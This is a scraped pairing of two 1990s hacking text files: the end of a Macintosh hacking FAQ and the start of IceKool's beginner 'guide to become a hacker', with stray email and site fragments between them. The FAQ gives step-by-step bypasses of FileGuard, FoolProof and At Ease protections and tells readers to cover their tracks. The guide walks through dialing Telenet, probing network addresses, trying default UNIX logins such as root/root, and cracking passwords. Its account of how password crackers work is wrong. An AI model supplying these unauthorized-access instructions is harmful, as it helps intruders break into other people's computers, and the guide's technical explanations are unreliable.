number of users, you may be able to add your own account and password
with the supervisor's password. Use your discretion. And look for
those keygrabbers on local boards and ftp sites.

D. HOW DO I BYPASS HARD DISK DRIVER PROTECTION (for example: FileGuard's
Volume Protection)?

Hard disk protection lies in a hard disk's driver code, at a

very low level on the disk. This protection is provided by most third
party hard disk formatting software or elaborate security
software(like FileGuard). Here's a quick guide to permanently removing
this protection:
1) Get a high density disk. Install some startup software for
the machine in question. Install some disk formatting software that
lets you install new drivers (like Gold Triangle; maybe
even 'Apple HD SC Setup').
2) Reboot machine. Quickly insert the floppy disk and then
hold down command-option-shift-delete. This prevents the
SCSI Bus from trying to mount the internal hard disk.
3) When the finder loads, run disk formatting software. If you
want to trash the contents of the hard disk, just re-format
the disk. If you want to get at the contents, install a new
driver over the old driver (consult your software manual).

If you need to diasable additional security at the hard disk,
go to 4). Else, go to 5).

4) Reboot machine; boot from floppy again. This time, let the
   hard disk mount. If all went well, no password will be prompted for
   here. When finder loads, remove the security inits/cdevs/programs.
5) Reboot machine; boot from hard disk. No password should be
   prompted for, and life should go on as usual.

NOTE: This process will probably cause the hard disk to crash severely
in the future!!! Only do this if there is something you really need on
the disk. After you copy the needed files to a different place, you
should REFORMAT THE HARD DISK.

This has been tested with FileGuard protection using Golden Triangler.
The tester backed up the source code he was working on, and then continued
using the machine(llsi). The machine crashed within an hour.

E. MISCELLANEOUS HACKS AND INFO

Q: HOW DO I COPY A READ-ONLY FILE?
A: Many utilities allow you to copy read-only files, including
StuffIt, Compact Pro, etc.

Q: HOW DO I ACCESS THE CHOOSER WHEN IT IS PROTECTED ON FOOLPROOF?
A: First try the default password 'foolproof'; Yes, some sysadmins are
that dumb. If it doesn't work, try this:

  1. Make a copy of the chooser.
  2. Use ResEdit or another resource editor to change the creator
    code from 'dfil chzr' 'dfil keyc'.
  3. The default password is reset to 'foolproof'.
  4. Swap the original chooser with the modified copy. Remember to
    cover your tracks and replace the original chooser when you are done.
    NOTE: Make sure you work on copies when using ResEdit, especially when
    you are using someone else's computer.

Q: HOW DO I DEFEAT FILEGUARD'S ENCRYPTION?
A: 1) Use FileGuard to encrypt or copyguard a file with the password
'test', for example.
2) Use ResEdit to copy the resource 'high' from that file.
3) Paste it into the file that contains the unknown password.
4) Save changes and quit.
5) Decrypt the modified file with FileGuard using the password
'test'.

Q: WHERE CAN I GET THE LATEST VERSION OF MACPGP AND THE SOURCE CODE?
A: Telnet to net-dist.mit.edu and login as 'getpgp'. You will have to
answer four short questions to get the name of the file it is in(the
name changes every half hour). Then ftp there and go to the specified
directory. The current version is MACPGP2.6.2. You should also get the
README files as the interface barely follows the Macintosh Interface
Guidelines.

Q: HOW DO I SET A NULL PASSWORD FOR AT EASE(not all versions)?
A: 1) Open the file System Folder:At Ease:At Ease Preferences with
MSWord or any other text editor.
2) Look for the string "MFDR\ ]".
3) Delete everything between "\" and "]".
4) Save the changes and you have a null password.
Now you can go to At Ease Setup and change the password to whatever
you want!

Q: WHAT DO I DO IF I FORGET THE ADMINISTRATOR'S PASSWORD[in At Ease]?
A: <excerpt from the At Ease for Workgroups 2.0.1 update help files>

"IF YOU FORGET THE ADMINISTRATOR'S PASSWORD

If you forget the At Ease administrator's password, follow the
directions below instead of those in the manual. If your startup disk
is locked, you'll first need to run the Unlock application on the AT
Ease 2.0 Utilities disk to unlock the start-up disk. Consult the
manual for information about the Unlock application.

1. Start up your computer from another startup disk.
[...BS...]
2. Open the System Folder of your usual startup disk.
3. Open the At Ease Items folder inside your System Folder.
4. Drag the At Ease Preferences file into the trash.
5. Hold down the Option key while you choose Empty Trash from the
Special menu.
6. Restart from your usual startup disk.
7. Open the At Ease Setup for Workgroups aplication.

If you are using an AppleShare server volume as the At Ease disk, your
setups may not appear until you reset the At Ease disk to this server
volume.

8. Reconnect to the server volume and use the At Ease Disk command to
reselect the volume.

Make sure you use the information on the server instead of replacing
it with the information on the startup disk.

9. Add a new password and clue.
10. Make sure the following options set correctly:
* Allow Remote Administration checkbox
* Lock Startup Volume checkbox
11. Turn At Ease back on.
12. Quit At Ease Setup for Workgroups."

> Where do you get the Unlock application? Beats the hell out of me.

F. RELATED ANONYMOUS FTP SITES

There seems to be a serious lack of accessible FTP sites that

carry Macintosh hacking utensils, etc. I have hardly found any that I
can post.

* SITE: net-dist.mit.edu
* PATH: ?
* FILES: MacPGP2.6, MacPGP2.6 source code
To get the path, you must telnet to net-dist.mit.edu and login as
'getpgp'. You will have to answer four short questions to get the name
of the directory it is in(the name changes every half hour). You
should get the README file as the interface barely follows the
Macintosh Interface Guidelines.

* SITE: ftp.netcom.com
* PATH: /pub/bradleym
* FILES: MacRedBox, VirtualQuarter, ...
Not much in the way of a Mac ftp site but it has four or five phreak
utilities.

* SITE: sekurity.com
* PATH: /pub/incoming
* FILES: unknown
Sometimes they have mac stuff. They used to have Oasis... Just look
for the familiar .hqx or .sit suffixes.

-shiva

--=====================_832156329==_
Content-Type: text/plain; charset="us-ascii"

--=====================_832156329==_--

set Restriction

Add Tags ?

AddDeleteNo

close

close

web.textfiles.com/hacking/ulthack.txt

Ultimate Step by Step guide to become a hacker

Submitted to the Hideout by IceKool
Document Modified by kM
June 16th, 1997

Disclaimer:

I do not take any responsibilities for actions that you pose using this file.
Therefore do not blame me for whatever happens. This is for informational purposes only.

About the Author:

My name is IceKool. I live in Va. I love to hack and I hope that this file will teach you
everything that you need to know. So read it all the way through!

Contents:

1.) What should I know about hacking and where can I get started?

2.) What programs will I need?

3.) I got the stuff, what now?

4.) A list of telenet numbers.

5.) I dialed it out, now what?

6.) How do NUA's work?

7.) Help with NUA's

8.) What should I do once I found a system?

9.) I'm in, now what?

10.) Cracking programs, what they do and how they work.

11.) UNIX.

12.) Password shadowing.

13.) Dialouts

14.) Scanners

15.) Brute force hacking

16.) C-script to erasing your logins

17.) Keeping yourself safe

18.) NUA's that I have found

19.) Conclusion and Hackers Manifesto

Chapter 1.) What should I know about hacking and where can I get started?

    Welcome to the world of hacking.  You are probably asking why you want to be a hacker

right now. Well, first let me say that if you saw the movie,"Hackers" don't think that that
is hacking. It would be great if they had terminals that automatically put you in a system
and gave out all those cool colors and welcome screens, but it's not that way. In fact,
hacking is like using DOS and C commands. So if you want to be a hacker, realize that.
Don't worry, it's still really cool. But before you start, let's identify things, first off
a terminal. This is what you will use to hack. Click on ,"find" on the start menu of win95.
Then type in ,"Terminal". It will either give you a hyper terminal or a terminal.
Both will work. I prefer the hyper terminal. Choose the regular looking icon that
says,"hyperterm" if you are using the HyperTerminal after you click on its folder.
If you want to use the regular terminal, choose,"terminal". Now you will need to set some
things. In terminal, click on settings. Then click on communications. You will have to
mess with this stuff a little bit because some systems use different paritys and databits, etc.
What I use is as follows:

Baud rate: 19200
parity: odd
databits: 7
flow control:Xon/Xoff

For the hyper terminal, click on the HyperTerminal folder in the find files or folders thing.
Choose hyperterm. Then it will ask you for a name. Call it anything you want. Now it will ask
for a phone #. Don't type a phone number in, look at the bottom. It should say what type of
modem you are using. Click on that and choose the com port that your modem is using. Do the
settings that I listed above and hit ok. Now comes the part where you will need to use certain
commands that work for both programs. It will connect to your modem and then you can tell your
modem what to do. Here are the commands that you can type. By the way, put "AT" before
everything except if you use "a/" or "+++".

at=ok
atdp(phone number)=dials out the number specified using a pulse dial up.
atdt(phone number)=dials out the number specified using a tone dial up.
at e0=echo off(not recommended)
at e1=echo on(recomended,shows what you type in your terminal!very important)
at L0=speacker volume low
at L1=higher speaker volume
at L2=default, medium
at L3=high speaker volume
at a=lets a call be connected to your computer(note! you can wait in your terminal mode and it
will start saying"ring""ring""ring", type that command in and hit enter. It Will connect
whatever is calling you!)

Chapter 2: What programs will I need?

    Well, I already mentioned about the terminal. That's your first program you should get.

Now go to either of these two addresses on the web to get your hacking equipment:

www.hackersclub.com/km or www.sodaphish.com

    The programs that you should get are as follows:

A-dial(or any scanner)- a scanner that will dial every # from 0000-9999 in your local area.

Cracker Jack- One of the best and fastest Crackers out there.
John the Ripper is the best one w/Win95

Modem Jammer- makes your calls untraceable!

Chapter 3: I got the stuff, now what?

    Study how the stuff works and go to your local library and get some books on the 

following systems:

1.) IRIS
2.) UNIX
3.) DEC/10
4.) NOD
5.) VAX

Now get out your cracker and read the instructions on how it works and look at the dictionary
that it comes with (should be "puffs.dic"). Go to the Hackerz Hideout(www.hackersclub.com/km)
and go to the newbie section and download lesson 1. Read on how it works and play with it
for a while. Now get out your terminal and get ready to dial up your local telenet number!

Chapter 4:A list of telenet numbers to use throughout the u.s.

This is a list of telenet numbers throughout the U.S.A. Telenet is a network that is used for
many purposes. This is where most of your hacking will be done because hacking directly to an
open system is very risky! But if you use telenet and go to an outdial (more on this later)
then the chances are much less risky. So dial up your local telenet number and get ready
to hack!

AK 907 Prudhoe Bay 659-2777 (1,2) -
AK 907 St Paul 546-2320 (1,2) -
AK 907 Seward 224-3126 (1,2) -
AK 907 Sitka 747-5887 (1,2) -
AK 907 Soldotna 262-1990 (1,2) -
AK 907 Talkeetna 733-2227 (1,2) -
AK 907 Tanana 366-7167 (1,2) (300 BPS ONLY)
AK 907 Valdez 835-4987 (1,2) -
AK 907 Whittier 472-2467 (1,2) -
AK 907 Yakutat 784-3453 (1,2) -
AZ 602 Phoenix 254-1903 A
AZ 520 Flagstaff 773-0588 B
AZ 520 Tucson 620-0658 B

AR 501 Fayetteville 442-0212 B
AR 501 Ft Smith 782-2852 B
AR 501 Hot Springs 623-3159 B
AR 501 Little Rock 375-4177 B
AR 501 Texarkana 772-6181 B
CA 805 Bakersfield 631-0577 B
CA 916 Chico 894-6882 B
CA 909 Colton 824-5571 B
CA 310 Compton 516-1007 C
CA 510 Concord 687-0216 C
CA 909 Corona 278-1211 B
CA 916 Davis 753-4387 B
CA 619 Escondido 738-0203 B
CA 707 Eureka 444-3091 B
CA 707 Fairfield 426-3860 B
CA 510 Fremont 249-9220 B
CA 209 Fresno 233-6928 B
CA 714 Garden Grove 379-7400 B
CA 818 Glendale 507-0511 B
CA 510 Hayward 538-0623 B
CA 805 Lancaster 949-7396 B
CA 213 Los Angeles 937-5526 A
CA 310 Marina Del Rey 306-3450 B
CA 209 Merced 383-2557 B
CA 209 Modesto 576-2852 B
CA 408 Monterey 655-1925 C
CA 707 Napa 257-0217 B
CA 310 Norwalk 802-2275 C
CA 510 Oakland 836-3844 B
CA 619 Oceanside 430-0613 C
CA 619 Palm Springs 343-3470 B
CA 415 Palo Alto 856-4854 B
CA 510 Pinole 724-0271 C
CA 909 Pomona 626-1284 C
CA 916 Redding 243-0690 B
CA 916 Sacramento 851-0700 B
CA 714 Saddle Brook Valley 458-0811 B
CA 408 Salinas 443-8791 B
CA 415 San Carlos 591-8578 B
CA 619 San Diego 233-1025 B
CA 415 San Francisco 247-9976 A
CA 408 San Jose 294-9067 B
CA 805 San Luis Obispo 543-3233 B
CA 310 San Pedro 548-7146 B
CA 415 San Rafael 499-1629 C
CA 510 San Ramon 829-6705 B
CA 714 Santa Ana 558-1501 B
CA 805 Santa Barbara 965-3326 B
CA 408 Santa Cruz 459-7735 B
CA 805 Santa Maria 925-2969 B
CA 707 Santa Rosa 523-1048 C
CA 209 Stockton 478-0402 C
CA 805 Thousand Oaks 449-1500 B
CA 805 Ventura 650-9203 B
CA 619 Victorville 951-2612 B
CA 209 Visalia 627-1201 B
CA 818 West Covina 331-6611 C
CA 818 Woodland Hills 887-7420 B

CO 719 Colorado Springs 632-0278 B
CO 303 Denver 745-3285 A
CO 303 Ft Collins 495-6799 B
CO 970 Grand Junction 241-3004 C
CO 970 Greeley 352-8563 B
CO 719 Pueblo 542-4053 C

CT 203 Bridgeport 332-7400 B
CT 203 Danbury 778-2022 B
CT 203 Hartford 560-1385 B
CT 203 Middletown 344-8217 B
CT 203 New Britain 225-7027 B
CT 203 New Haven 624-5945 B
CT 203 New London 440-0656 B
CT 203 Norwalk 866-7404 B
CT 203 Stamford 961-8371 B
CT 203 Waterbury 759-1445 C

DE 302 Dover 678-8328 B
DE 302 Newark 292-0114 B

DC 202 Washington 659-2733 A

FL 407 Boca Raton 367-0732 B
FL 941 Cape Coral 334-0071 C
FL 407 Cocoa Beach 267-0800 B
FL 904 Daytona Beach 252-1609 C
FL 954 Ft Lauderdale 764-0318 B
FL 407 Ft Pierce 466-4566 B
FL 352 Gainesville 335-6697 B
FL 904 Holly Hill 257-4770 B
FL 904 Jacksonville 353-1137 B
FL 941 Lakeland 680-3332 C
FL 352 Leesburg 787-0799 B
FL 407 Melbourne 725-9641 B
FL 305 Miami 358-5349 A
FL 941 Naples 263-3033 C
FL 352 Ocala 351-3790 C
FL 407 Orlando 246-0851 B
FL 904 Panama City 763-8377 B
FL 904 Pensacola 469-9688 C
FL 954 Pompano Beach 941-5545 C
FL 813 St Petersburg 327-7024 B
FL 941 Sarasota 952-1152 C
FL 904 Tallahassee 222-0533 B
FL 813 Tampa 221-3713 B
FL 904 Valparaiso 897-3421 B
FL 407 West Palm Beach 820-9391 B

GA 912 Albany 431-9384 C
GA 706 Athens 548-9698 B
GA 404 Atlanta 688-1212 A
GA 706 Augusta 722-9877 B
GA 706 Columbus 322-9386 B
GA 404 Gainsville 532-9880 B
GA 912 Macon 741-2108 C
GA 706 Rome 234-1428 B
GA 912 Savannah 236-2898 B

HI 808 Oahu 536-3886 ... -
HI 800 Other Islands 272-5299 (2) -
ID 208 Boise 343-0957 B
ID 208 Idaho Falls 529-0406 B
ID 208 Lewiston 743-5885 C
ID 208 Pocatello 232-1764 B
IL 847 Arlington Heights 670-9522 B
IL 708 Aurora 896-9802 B
IL 618 Belleville 277-9551 B
IL 309 Bloomington 828-1441 B
IL 312 Chicago 938-5462 A
IL 217 Decatur 429-6054 C
IL 815 De Kalb 756-3455 B
IL 847 Glencoe 835-1143 B
IL 815 Joliet 722-9652 C
IL 708 Lansing 474-9310 B
IL 847 Libertyville 362-5718 B
IL 708 Naperville 355-2910 B
IL 309 Peoria 674-2344 B
IL 815 Rockford 962-9523 B
IL 217 Springfield 525-1590 B
IL 217 Urbana 384-3322 B

IN 812 Bloomington 331-8890 C
IN 812 Evansville 422-2911 B
IN 219 Ft Wayne 422-8013 B
IN 219 Gary 881-1020 B
IN 317 Indianapolis 299-2593 B
IN 317 Kokomo 452-0073 C
IN 317 Lafayette 742-5488 C
IN 317 Muncie 288-1113 C
IN 317 Richmond 935-7532 B
IN 219 South Bend 288-2355 B
IN 812 Terre Haute 235-5671 C

IA 515 Ames 233-2603 C
IA 319 Burlington 752-2516 B
IA 319 Cedar Rapids 298-4600 B
IA 319 Davenport 322-3361 C
IA 515 Des Moines 288-4626 B
IA 319 Dubuque 556-0783 C
IA 319 Iowa City 339-0320 C
IA 712 Sioux City 255-1545 C
IA 319 Waterloo 232-0195 B
KS 913 Lawrence 843-8124 B
KS 913 Leavenworth 651-0015 B
KS 913 Manhattan 537-0948 B
KS 913 Salina 825-7900 B
KS 913 Topeka 232-5507 B
KS 316 Wichita 264-4211 B
KY 502 Bowling Green 843-0632 B
KY 502 Frankfort 875-2911 B
KY 606 Lexington 231-7717 B
KY 502 Louisville 583-1209 B
KY 502 Owensboro 686-8107 B
LA 318 Alexandria 445-1053 B
LA 504 Baton Rouge 344-5105 A
LA 318 Lafayette 233-6951 B
LA 318 Lake Charles 436-0518 C
LA 318 Monroe 345-0106 B
LA 504 New Orleans 524-7442 A
LA 318 Shreveport 424-2255 B
ME 207 Augusta 622-7364 B
ME 207 Brewer 989-3081 C
ME 207 Lewiston 784-0105 C
ME 207 Portland 761-9029 C

MD 410 Annapolis 266-6851 B
MD 410 Baltimore 244-0470 A
MD 301 Frederick 293-9596 B
MD 410 Gaithersburg 869-4191
MA 508 Attleboro 226-8956 B
MA 617 Boston 338-0002 A
MA 508 Brockton 583-3533 B
MA 617 Dedham 326-4064 B
MA 508 Fall River 677-4477 B
MA 508 Framingham 620-1119 B
MA 508 Lawrence 687-8252 B
MA 617 Lexington 862-9124 B
MA 508 Lowell 459-2350 B
MA 508 New Bedford 990-3300 B
MA 413 Northampton 586-0510 C
MA 413 Pittsfield 499-7741 B
MA 508 Salem 744-1559 B
MA 413 Springfield 747-3700 B
MA 508 Woods Hole 540-4085 C
MA 508 Worcester 791-7630 B
MI 313 Ann Arbor 741-8488 A
MI 616 Battle Creek 961-9927 B
MI 616 Bridgman 465-3248 B
MI 313 Detroit 965-3011 A
MI 810 Flint 767-3590 B
MI 616 Grand Rapids 774-5958 B
MI 517 Jackson 782-8111 C
MI 616 Kalamazoo 381-3101 B
MI 517 Lansing 482-0120 B
MI 906 Marquette 228-4622 B
MI 517 Midland 832-7068 B
MI 616 Muskegon 726-5723 C
MI 810 Pontiac 858-7109 B
MI 810 Port Huron 982-8364 B
MI 517 Saginaw 797-3822 B
MI 810 Southfield 827-4710 B
MI 616 Traverse City 946-2121 C
MI 810 Warren 573-7300 B
MI 313 Wayne 326-4210 B

MN 218 Duluth 722-3029 B
MN 507 Mankato 388-3780 B
MN 612 Minneapolis 332-0033 A
MN 507 Rochester 282-0555 C
MN 320 St Cloud 253-1264 C

MS 601 Hattiesburg 264-0815 B
MS 601 Gulfport 863-0024 B
MS 601 Jackson 354-5303 B
MS 601 Meridian 482-2210 B
MS 601 Port Gibson 437-8916 B
MS 601 Starkville 324-2155 B
MO 573 Columbia 499-0580 B
MO 573 Jefferson City 634-8436 C
MO 816 Kansas City 421-5783 A
MO 314 St Charles 723-5179 B
MO 816 St Joseph 279-4797 C
MO 314 St Louis 421-1376 A
MO 417 Springfield 831-0057 B
MT 406 Billings 248-6373 C
MT 406 Great Falls 771-0067 B
MT 406 Helena 443-0527 B
MT 406 Missoula 543-5575 C
NE 308 Grand Island 381-2049 B
NE 402 Lincoln 438-4305 B
NE 402 Omaha 341-4622 B

NV 702 Las Vegas 737-1752 B
NV 702 Reno 824-3000 B

NH 603 Concord 225-2566 B
NH 603 Durham 868-2924 B
NH 603 Manchester 647-2750 B
NH 603 Nashua 880-0118 C
NH 603 Portsmouth 431-7984 B
NJ 609 Atlantic City 348-3233 B
NJ 908 Freehold 780-2680 B
NJ 201 Hackensack 488-1726 B
NJ 609 Marlton 988-7800 B
NJ 609 Merchantville 663-7730 B
NJ 201 Morristown 605-1836 B
NJ 908 New Brunswick 220-0405 B
NJ 201 Newark 624-8843 A
NJ 201 Passaic 777-2700 B
NJ 201 Paterson 279-4515 B
NJ 609 Princeton 799-2266 A
NJ 201 Rahway 388-5288 B
NJ 908 Red Bank 571-0003 B
NJ 201 Roseland 227-6722 B
NJ 908 Sayreville 525-9507 B
NJ 201 Summit 701-0767 B
NJ 609 Trenton 392-4100 B
NJ 609 Vineland 696-3883 B

NM 505 Albuquerque 246-8950 B
NM 505 Las Cruces 526-9191 B
NM 505 Santa Fe 473-3403 C
NY 518 Albany 433-0092 B
NY 607 Binghamton 773-2244 B
NY 716 Buffalo 847-8181 B
NY 516 Deer Park 254-6021 B
NY 516 Hempstead 292-2820 B
NY 607 Ithaca 273-2200 C
NY 212 New York City 206-0256 A
NY 716 Niagara Falls 282-3284 C
NY 518 Plattsburgh 562-1890 C
NY 914 Poughkeepsie 471-6728 B
NY 716 Rochester 546-6998 B
NY 315 Syracuse 448-0021 B
NY 315 Utica 792-9962 B
NY 914 White Plains 949-6878 B
NC 704 Asheville 259-9945 B
NC 910 Burlington 229-0032 B
NC 704 Charlotte 332-4023 A
NC 910 Fayetteville 323-5940 C
NC 704 Gastonia 865-4708 B
NC 910 Greensboro 299-6600 B
NC 704 Hickory 326-9860 B
NC 910 High Point 889-7494 B
NC 910 North Wilkesboro 838-1663 C
NC 919 Raleigh 781-9976 B
NC 919 Res Tri Park 549-0542 B
NC 919 Tarboro 823-7459 C
NC 910 Wilmington 763-8292 C
NC 910 Winston-Salem 785-9962 B

ND 701 Fargo 235-9069 C
ND 701 Grand Forks 775-7813 B
ND 701 Mandan 663-6339 B
OH 330 Canton 455-1700 B
OH 513 Cincinnati 579-1593 A
OH 216 Cleveland 575-0811 A
OH 614 Columbus 461-8671 A
OH 513 Dayton 461-4600 B
OH 216 Elyria 322-8645 C
OH 419 Findlay 422-8188 B
OH 513 Hamilton 863-4116 B
OH 330 Kent 678-8330 A
OH 216 Lorain 960-1771 C
OH 419 Mansfield 589-0276 C
OH 419 Sandusky 627-0050 B
OH 513 Springfield 324-1520 C
OH 419 Toledo 255-7010 B
OH 330 Warren 856-7265 C
OH 330 Wooster 345-1023 B
OH 330 Youngstown 743-2983 B

OK 918 Bartlesville 336-6362 B

OK 405 Lawton 353-0225 B
OK 405 Oklahoma City 270-0028 B
OK 405 Stillwater 743-1447 B
OK 918 Tulsa 584-6935 B
OR 503 Corvallis 754-0559 C
OR 541 Eugene 683-5147 B
OR 541 Hood River 386-4405 C
OR 503 Klamath Falls 882-6282 B
OR 541 Medford 772-3994 B
OR 503 Portland 295-0337 A
OR 503 Salem 375-3104 B

PA 610 Allentown 770-6501 B
PA 814 Altoona 949-0310 B
PA 412 Butler 285-8721 B
PA 717 Carlisle 249-9311 C
PA 717 Danville 271-0102 C
PA 814 Erie 459-9779 B
PA 412 Greensburg 836-4771 B
PA 717 Harrisburg 236-1186 B
PA 814 Johnstown 535-3356 B
PA 610 King of Prussia 265-2812 B
PA 717 Lancaster 295-7128 C
PA 215 Levittown 946-3469 B
PA 412 Monroeville 856-1330 B
PA 215 Philadelphia 854-0589 A
PA 412 Pittsburgh 281-8326 A
PA 610 Reading 375-6945 C
PA 717 Scranton 341-5611 B
PA 814 State College 231-1510 C
PA 215 Warrington 343-6010 B
PA 610 West Chester 436-7406 B
PA 717 Wilkes-Barre 820-9755 B
PA 717 Williamsport 494-1796 C
PA 717 York 845-9717 B

RI 401 Providence 453-5353 B
RI 401 Newport 849-0229 B
RI 401 North Kingston 295-7100 B
RI 401 Woonsocket 765-0019 B
SC 803 Charleston 723-7342 B
SC 803 Columbia 254-0038 B
SC 803 Florence 669-0042 B
SC 864 Greenville 232-7832 B
SC 803 Myrtle Beach 626-9134 B
SC 864 Spartanburg 542-1653 B

SD 605 Pierre 224-2257 B
SD 605 Rapid City 348-2048 C
SD 605 Sioux Falls 334-4953 B
TN 615 Bristol 968-2480 C
TN 423 Chattanooga 266-3066 B
TN 615 Clarksville 552-0032 B
TN 615 Johnson City 282-6645 C
TN 615 Knoxville 523-4031 B
TN 901 Memphis 525-5201 B
TN 615 Nashville 726-1213 B
TN 423 Oak Ridge 481-3590 C
TX 915 Abilene 672-3902 B
TX 806 Amarillo 373-2926 B
TX 903 Athens 677-1712 C
TX 512 Austin 929-0078 B
TX 210 Brownsville 544-7073 C
TX 409 Bryan 779-0713 C
TX 512 Corpus Christi 888-7207 B
TX 214 Dallas 653-0840 A
TX 817 Denton 381-1897 C
TX 915 El Paso 532-1912 B
TX 817 Ft Worth 332-1015 A
TX 409 Galveston 762-8076 B
TX 713 Houston 228-0705 A
TX 210 Laredo 724-1791 C
TX 903 Longview 758-1161 C
TX 806 Lubbock 765-9631 C
TX 210 McAllen 631-8967 B
TX 915 Midland 561-8931 B
TX 409 Nederland 722-7162 B
TX 915 San Angelo 944-0376 B
TX 210 San Antonio 225-1191 B
TX 903 Sherman 893-4995 B
TX 817 Temple 773-9723 C
TX 903 Tyler 597-8925 C
TX 512 Victoria 572-3197 B
TX 817 Waco 752-2681 C
TX 817 Wichita Falls 322-3774 B
UT 801 Logan 752-3421 B
UT 801 Ogden 627-1640 C
UT 801 Provo 371-0278 B
UT 801 Salt Lake City 355-9030 B
TX 903 Texarkana 794-4700 B
VA 540 Blacksburg 552-9181 C
VA 804 Charlottesville 977-5330 C
VA 540 Covington 962-2217 C
VA 540 Fredericksburg 371-0188 B
VA 540 Harrisonburg 434-0374 C
VA 703 Herndon 787-6719 B
VA 804 Lynchburg 845-0010 C
VA 804 Newport News 596-9232 B
VA 804 Norfolk 626-3349 B
VA 703 Occoquan 494-0836 B
VA 804 Richmond 225-0021 B
VA 540 Roanoke 857-4266........ B
VT 802 Burlington 660-4795 B
VT 802 Montpelier 223-0758 B
VT 802 Rutland 775-1676 C
VT 802 White River Junction 295-7631 C

WA 206 Auburn 939-9982 B
WA 360 Bellingham 733-2873 B
WA 206 Everett 774-7466 C
WA 360 Longview 577-3992 B
WA 206 Lynwood 774-7466 B
WA 360 Olympia 705-0769 C
WA 509 Pullman 332-0172 B
WA 509 Richland 943-6117 B
WA 206 Seattle 625-1386 A
WA 509 Spokane 747-2069 B
WA 206 Tacoma 383-9488 B
WA 360 Vancouver 693-6914 B
WA 509 Wenatchee 663-9482 B
WA 509 Yakima 575-1060 B

WV 304 Charleston 346-0524 B
WV 304 Clarksburg 622-6827 B
WV 304 Huntington 523-2802 C
WV 304 Morgantown 292-0492 C
WV 304 Wheeling 233-7732 B
WI 608 Beloit 362-5287 B
WI 715 Eau Claire 836-0097 C
WI 414 Green Bay 432-0346 B
WI 414 Kenosha 552-9242 C
WI 608 La Crosse 784-0560 B
WI 608 Madison 257-8330 B
WI 414 Milwaukee 271-2420 A
WI 414 Neenah 731-9687 C
WI 414 Racine 632-2174 C
WI 414 Sheboygan 452-3995 C
WI 715 Wausau 848-6044 B
WI 414 West Bend 334-2206 B

WY 307 Casper 265-8807 C
WY 307 Cheyenne 637-3958 B
WY 307 Laramie 721-5878 C

Chapter 5: I dialed it out, now what?

    Here is what you will do. Remember how I told you those modem commands? Here is how 

you would dial if you have a pulse phone in Casper WY:

atdp265-8807

For tone:

atdt265-8807

Ok. It should make a modem noise. I'm sure you've heard this before unless you are really
new to computers. Here is a list of commands that you can use in telenet:

C-Connect

D-disconnect

Mail-mail

Telemail-mail

full-network echo (should be really good to use!)

half-terminal echo(I don't recommend it, but try it and see what happens, just type"full"when your done)

Stat-Shows network port

Set-Select pad perimeters

Cont-Continue

Hangup-Hangs up

Access-Telenet Account (Need username and password)

    Here is a trick that you can try. Once you have connected, hit enter twice; then it

will tell you you've connected to telenet on a certain address. Now either hit enter once
or type in the type of terminal you are using. It should give you a prompt that looks like
this:

@

    Now Type in telemail. It will say that it is connected. Now type in"phones" for the 

username and password. It will run down with a list of things. Try everything out that looks
interesting. You can also type in help at the login prompt and it will ask you for an
organization and a password. That will give you a list of all the numbers that will connect
you to telenet in the U.S.A.

A good thing to remember!

    Whenever you connect to a system and it will ask you"login" or "ugi" or "user id",

etc... before you get cocky, try typing some things in such as help, teach, learn,help login,
help logon, systat, and some other commands that you can think of by yourself. Just type one
of those in for the login name,or before it asks you to login and see what happens.

Chapter 6: How do NUA's work?

    Well, NUA's are like little addresses that you can connect to when you are in telenet.

The way it works is by typing in an area code and then typing in any number after- words.
It would be something like this:
____
@540|798|- the number after-words
-|--------
areacode

    That would be the area code of VA. There is also something that you might see in front

of it. It would look like this:

03110 540 0079800

    The number in front(03110) is the pad that you are connected to. This is very important 

because you cannot always connect to an NUA because it will not always have what is called
reverse charging. Reverse charging is sort of like you dialing someone's number collect. But
I will explain more about this in the Help with NUA's section. You probably noticed that there
were some zeros in the 798 part. A lot of times you will find this in systems. But usually you
can ignore this.

    You can also put a "c" in front of the NUA. It would look like this:

@c540 798

    Note! Whenever I put a @ in front of a number like I just did, don't type that in, all

you would have to type would be "c540 798". That is just the prompt.

Chapter 7: Help with NUA's

    Not to many things have worked with NUA's that I have found. Although you could try 

these commands at the login prompt:

1.) help
2.) learn
3.) list
4.) list users
5.) games
6.) List games
7.) help logon
8.) help login
9.) and anything else that comes to your mind. Use common sense.

    If you try connecting to an NUA and it says that there

is reverse charging,you can get by this by either connecting to another pad that isn't
long distance to that NUA or you can use what is called an NUI (Network User ID). The NUI is
faster but they are very hard to find. I wouldn't even try it,but if you want to, here is what
you would do. Say that you liked system:

201 432

    You would put a coma after the NUA and type the user name and then type in a password. 

For example:

201 432,username,password

    I would stick to the pads rather than this, it is much easier. Although, there are 

plenty of systems that will except reverse charging, so I personally just leave them
alone. There to much trouble.

    Another problem with NUA's is that you will try to connect to one and it will just 

sit there and stare in your face. You will always know that when this happens that there is
not a system. It will probably always just sit there. If you get stuck like that for to long,
telenet will knock you off. That is very annoying! But I finally found a way to get past this.
All you have to do is hold down the shift key and hit the "2" button and then hit enter. Then
it will bring you back to the "@" prompt. Now hit "d" and hit enter to disconnect. Now you're
all set to try another NUA.

Chapter 8: What should I do once I found a system?

    Your first objective is to identify what type of system you have found.  There are 2 

ways to do this. The first and easiest way is to look for a copy of the LOD (legion of doom)
and it will have most all the info that you will need on identifying systems. The second and
best way to do this is to go to your local library or bookstore and read up on all the systems
you can. Basically,I am saying to get LOD's copy and look at the systems they are talking about
and get books on those systems.

    Once you've identified the system, first try the defaults that you have. If your defaults 

worked, that's great, move on to the next chapter, if not, do some research in the library
section of the hackers hideout on sniffing and spoof ID.

Chapter 9: I'm in, now what?

    Well, I agree with LOD. I can't tell you what to do once you got inside the system. It 

is totally all up to you, you are the hacker which means that you are in command. I would
recommend looking in the books that you got on the system that you are in and look at all
of its useful commands. Try everything out, don't be afraid, you can't go any further unless
you try different things out. Search the system to your desire. Have fun!

Chapter 10: Cracking programs

    A while back I said something about Cracker Jack. That is the type of Cracker that I will

be referring to. Cracker Jack comes with a dictionary called, "puffs.dic". In the next chapter
you will learn how to obtain passwords in a UNIX system, so this will be very useful. Say you
see some passwords you want to crack. It goes like this, a word is scrambled (encrypted). A
cracker will take this word and look at it with its dictionary. here is a sample:

akcihgn

    The dictionary will look at it and look at every word in the English language that has 

seven letters and has each of those very letters. A lot of times, you will get lots of possible
words, but one of them is the real password! In this case, it is "hacking".

Chapter11:UNIX

    Well, if you finally found your first UNIX, then this is going to be a treat! First of

all, UNIX will greet you with a welcoming message and then will say, "Login". To login, all you
have to do is type in some defaults. Here they are:

login: root pw: root
login: root pw: system
login: root pw: sysop
login: sys pw: sys
login: sys pw: system
login: daemon pw: daemon
